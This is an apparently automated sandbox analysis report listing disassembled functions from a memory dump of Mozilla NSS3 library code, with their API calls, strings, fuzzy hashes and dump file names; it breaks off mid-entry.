Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0fe9cbe46ae0ddaac31fff5ec82c819ca4599da380fe02b269d47217a575d113
Instruction ID: 82e62530ff8f2fd242ef91c9b8e01bbbdc3ffd5c1a3ed03f7fdd1fb55ef72a20
Opcode Fuzzy Hash: 0fe9cbe46ae0ddaac31fff5ec82c819ca4599da380fe02b269d47217a575d113
Instruction Fuzzy Hash: D3310771A04211AFC710CF6CDC44B8AB7E4AF49349F158029EC189BB51E731ED15CBE9

Function 6C59AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C59AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C6B9500,6C593F91), ref: 6C59AFD2

Part of subcall function 6C5EB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6C18D0,?), ref: 6C5EB095

DER_GetInteger_Util.NSS3(?), ref: 6C59B007

Part of subcall function 6C5E6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C591666,?,6C59B00C,?), ref: 6C5E6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C59B02F
PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C59B046
PL_FreeArenaPool.NSS3 ref: 6C59B058
PL_FinishArenaPool.NSS3 ref: 6C59B060

Strings

security, xrefs: 6C59AFB8

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 640dd237c510868fe616ccee9a7906b7dc9bb5fb03d2a546efc4679161f5910d
Instruction ID: 10d6348300779d9adb0986f99dad4efceabd9445733d313e182a576e916b4d3a
Opcode Fuzzy Hash: 640dd237c510868fe616ccee9a7906b7dc9bb5fb03d2a546efc4679161f5910d
Instruction Fuzzy Hash: D5313670404340DBEB20DF24DC45BAA77A4AF8636CF100B59E9B45BBC1E7329509CB9B

Function 6C593E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C5940D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C593F7F,?,00000055,?,?,6C591666,?,?), ref: 6C5940D9
Part of subcall function 6C5940D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C591666,?,?), ref: 6C5940FC
Part of subcall function 6C5940D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C591666,?,?), ref: 6C594138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C593EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C593ED6

Part of subcall function 6C5EB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6C18D0,?), ref: 6C5EB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C593EEE

Part of subcall function 6C5EFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5E8D2D,?,00000000,?), ref: 6C5EFB85
Part of subcall function 6C5EFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5EFBB1

PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C593F02
PL_FreeArenaPool.NSS3 ref: 6C593F14
PL_FinishArenaPool.NSS3 ref: 6C593F1C

Part of subcall function 6C5F64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C5F127C,00000000,00000000,00000000), ref: 6C5F650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C593F27

Strings

security, xrefs: 6C593EBC

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 31ef2fed857d9eedf06325a74c4fd8869b85df31edc2818ac18e01c6ce318c51
Instruction ID: 4c00acda21b97ee4cdfe846d9fdca35fcaaace717cb2082a8a757af8d884a07d
Opcode Fuzzy Hash: 31ef2fed857d9eedf06325a74c4fd8869b85df31edc2818ac18e01c6ce318c51
Instruction Fuzzy Hash: D2210AB1904340EBD7149B15AC41F9B77A8EBC831CF04063DF959A7741E731D918CB9A

Function 6C5CACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C5CACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5CAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5CAD23

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5CAD39

Strings

hSession = 0x%x, xrefs: 6C5CACFE, 6C5CAD0E
(CK_INVALID_HANDLE), xrefs: 6C5CAD1C
C_MessageDecryptFinal, xrefs: 6C5CACE1
njl, xrefs: 6C5CAD51, 6C5CAD7B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$njl
API String ID: 332880674-4123852946
Opcode ID: c2ff2d4e5e206d19846f5a158e030f6eee59726b33b32cbdd08d73b4dcb302dd
Instruction ID: b1a3b78656e1acee98bb698a25306aa31610cbc2798beefd299698360d283bc0
Opcode Fuzzy Hash: c2ff2d4e5e206d19846f5a158e030f6eee59726b33b32cbdd08d73b4dcb302dd
Instruction Fuzzy Hash: 27210771701154DFDB00DBA5EDC8BAB3BB6EB82319F044429E91A97A11DB309C09CB9F

Function 6C5DCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C5DCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C5DCE16
PR_SetError.NSS3(00000000,00000000), ref: 6C5DD079

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 42f5a512029f1396d7cadb7a2070fe968ecb91d1d14a06769079f1174b5c1569
Instruction ID: 4eebe12509f6e541aac04209208b86581dd26718f2990fabc915b3d0b9b27112
Opcode Fuzzy Hash: 42f5a512029f1396d7cadb7a2070fe968ecb91d1d14a06769079f1174b5c1569
Instruction Fuzzy Hash: 83C18FB1A003199BDB10DF18CC80BDAB7B4AF88318F1541A8D94897741E775FE95CF99

Function 6C5CDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C5D97C1,?,00000000,00000000,?,?,?,00000000,?,6C5B7F4A,00000000), ref: 6C5CDC68

Part of subcall function 6C5F0BE0: malloc.MOZGLUE(6C5E8D2D,?,00000000,?), ref: 6C5F0BF8
Part of subcall function 6C5F0BE0: TlsGetValue.KERNEL32(6C5E8D2D,?,00000000,?), ref: 6C5F0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C5B7F4A,00000000,?,00000000,00000000), ref: 6C5CDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C5B7F4A,00000000,?,00000000,00000000), ref: 6C5CDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C5B7F4A,00000000,?,00000000,00000000), ref: 6C5CDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C5B7F4A,00000000,?,00000000,00000000), ref: 6C5CDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C5B7F4A,00000000,?,00000000,00000000), ref: 6C5CDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C5B7F4A,00000000,?,00000000,00000000), ref: 6C5CDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C5B7F4A,00000000,?,00000000,00000000), ref: 6C5CDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C5B7F4A,00000000,?,00000000,00000000), ref: 6C5CDFAA

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 40dd9a322578cb49f09a8562903a017137f54170b77e5cf8bf02ae69ce8a17cf
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 8A81A671BC66058BFB148ED9CC9036976D6EBA0748F24883ED519CAFE1E774C884C653

Function 6C5A3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C5A3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C5A3C94

Part of subcall function 6C5995B0: TlsGetValue.KERNEL32(00000000,?,6C5B00D2,00000000), ref: 6C5995D2
Part of subcall function 6C5995B0: EnterCriticalSection.KERNEL32(?,?,?,6C5B00D2,00000000), ref: 6C5995E7
Part of subcall function 6C5995B0: PR_Unlock.NSS3(?,?,?,?,6C5B00D2,00000000), ref: 6C599605

PORT_NewArena_Util.NSS3(00000800), ref: 6C5A3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C5A3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C5A3CE1

Part of subcall function 6C5A3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5BAE42), ref: 6C5A30AA
Part of subcall function 6C5A3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5A30C7
Part of subcall function 6C5A3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C5A30E5
Part of subcall function 6C5A3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5A3116
Part of subcall function 6C5A3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5A312B
Part of subcall function 6C5A3090: PK11_DestroyObject.NSS3(?,?), ref: 6C5A3154
Part of subcall function 6C5A3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A317E

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 37a6e07b455cd3ed1556d71a35e3b5f4dbae470d42a8b3a49f51b27931b7adc1
Instruction ID: 169d2ab96ebd8e3afb4cc75447f669989fb268483e687dcd162b0aeccbc6521a
Opcode Fuzzy Hash: 37a6e07b455cd3ed1556d71a35e3b5f4dbae470d42a8b3a49f51b27931b7adc1
Instruction Fuzzy Hash: A461E9B1A00300ABEB105FA6DC41FAB76B9EF4474CF094428FD059AA52F721DC15C7A5

Function 6C5E3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C5E3440: PK11_GetAllTokens.NSS3 ref: 6C5E3481
Part of subcall function 6C5E3440: PR_SetError.NSS3(00000000,00000000), ref: 6C5E34A3
Part of subcall function 6C5E3440: TlsGetValue.KERNEL32 ref: 6C5E352E
Part of subcall function 6C5E3440: EnterCriticalSection.KERNEL32(?), ref: 6C5E3542
Part of subcall function 6C5E3440: PR_Unlock.NSS3(?), ref: 6C5E355B

TlsGetValue.KERNEL32 ref: 6C5E3D8B
EnterCriticalSection.KERNEL32(?), ref: 6C5E3D9F
PR_Unlock.NSS3(?), ref: 6C5E3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C5E3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C5E3E4F

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

TlsGetValue.KERNEL32 ref: 6C5E3E97
EnterCriticalSection.KERNEL32(?), ref: 6C5E3EAB
PR_Unlock.NSS3(?), ref: 6C5E3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C5E3EEE

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: c9e144e4a1cb9c861d66d02644bdc4807d0a5056ab7d250f0f9f012c98d3be5f
Instruction ID: 5f34ef9f006d8b5351fdac1e60e34b36c05a8a3e96e634eb98374b44949a203f
Opcode Fuzzy Hash: c9e144e4a1cb9c861d66d02644bdc4807d0a5056ab7d250f0f9f012c98d3be5f
Instruction Fuzzy Hash: 86515876A002109FDB01AF6AEC84B6A77B4EF89318F050529DE1957B32EB31E854CBD5

Function 6C592C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(FA097650), ref: 6C592C5D

Part of subcall function 6C5F0D30: calloc.MOZGLUE ref: 6C5F0D50
Part of subcall function 6C5F0D30: TlsGetValue.KERNEL32 ref: 6C5F0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C592C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C592CE0

Part of subcall function 6C592E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C592CDA,?,00000000), ref: 6C592E1E
Part of subcall function 6C592E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C592E33
Part of subcall function 6C592E00: TlsGetValue.KERNEL32 ref: 6C592E4E
Part of subcall function 6C592E00: EnterCriticalSection.KERNEL32(?), ref: 6C592E5E
Part of subcall function 6C592E00: PL_HashTableLookup.NSS3(?), ref: 6C592E71
Part of subcall function 6C592E00: PL_HashTableRemove.NSS3(?), ref: 6C592E84
Part of subcall function 6C592E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C592E96
Part of subcall function 6C592E00: PR_Unlock.NSS3 ref: 6C592EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C592D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C592D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C592D3F
free.MOZGLUE(00000000), ref: 6C592D73
CERT_DestroyCertificate.NSS3(?), ref: 6C592DB8
free.MOZGLUE ref: 6C592DC8

Part of subcall function 6C593E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C593EC2
Part of subcall function 6C593E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C593ED6
Part of subcall function 6C593E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C593EEE
Part of subcall function 6C593E60: PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C593F02
Part of subcall function 6C593E60: PL_FreeArenaPool.NSS3 ref: 6C593F14
Part of subcall function 6C593E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C593F27

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: f8f6b88631c6ca19002d9f7d60322b42ada47bf0613210bd23528a0049f60e12
Instruction ID: e76f34ebb63643c5f2e93b34c033b55c08215891f6822085ddddf8c77a31eb37
Opcode Fuzzy Hash: f8f6b88631c6ca19002d9f7d60322b42ada47bf0613210bd23528a0049f60e12
Instruction Fuzzy Hash: 0551E071A04351AFDB00DF69DC89B6B77E5EF94308F14086CEC5983A60E731E816CB92

Function 6C597CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5940D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C593F7F,?,00000055,?,?,6C591666,?,?), ref: 6C5940D9
Part of subcall function 6C5940D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C591666,?,?), ref: 6C5940FC
Part of subcall function 6C5940D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C591666,?,?), ref: 6C594138

PR_GetCurrentThread.NSS3 ref: 6C597CFD

Part of subcall function 6C659BF0: TlsGetValue.KERNEL32(?,?,?,6C6A0A75), ref: 6C659C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C6B9030), ref: 6C597D1B

Part of subcall function 6C5EFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C591A3E,00000048,00000054), ref: 6C5EFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C6B9048), ref: 6C597D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C597D50
PR_GetCurrentThread.NSS3 ref: 6C597D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C597D7D
free.MOZGLUE(?), ref: 6C597D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C597DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C597E19

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 71990cc0cefaf06974c6a10df52b02e9ba7893a23e52ac7427ef68aaa2fc5c1b
Instruction ID: 743fef4fc89d9db6cf876b8c3d1652f165f0e52b3d727acb3d2be2d2f7948580
Opcode Fuzzy Hash: 71990cc0cefaf06974c6a10df52b02e9ba7893a23e52ac7427ef68aaa2fc5c1b
Instruction Fuzzy Hash: 6E411A72A002599BDB008E699C41BAF37E4AF9539CF0501A6EC19A7760E730ED19C7E5

Function 6C5A7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C5A80DD), ref: 6C5A7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C5A80DD), ref: 6C5A7F36
free.MOZGLUE(?,?,?,6C5A80DD), ref: 6C5A7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C5A80DD), ref: 6C5A7F5D
DeleteCriticalSection.KERNEL32(?,6C5A80DD), ref: 6C5A7F94
free.MOZGLUE(?), ref: 6C5A7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C5A80DD), ref: 6C5A7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C5A80DD), ref: 6C5A7FE6
free.MOZGLUE(?,6C5A80DD), ref: 6C5A802D

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 0df73f8e66e3cbe28eef7f61d0af826fe1c34a98e031208c476707efdf1f51f7
Instruction ID: a67e1a0c7e09045a9740214bddbd4cd5e1ba004e55b4e159b7111f4c6aa2fe67
Opcode Fuzzy Hash: 0df73f8e66e3cbe28eef7f61d0af826fe1c34a98e031208c476707efdf1f51f7
Instruction Fuzzy Hash: 0141EB71B011909BDB10DFBBACC9A4E3B76BB8B358F140225E62687744D7319906CF9D

Function 6C5EFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5EFF00

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C5EFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C5EFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C5EFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5EFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5EFF8C

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

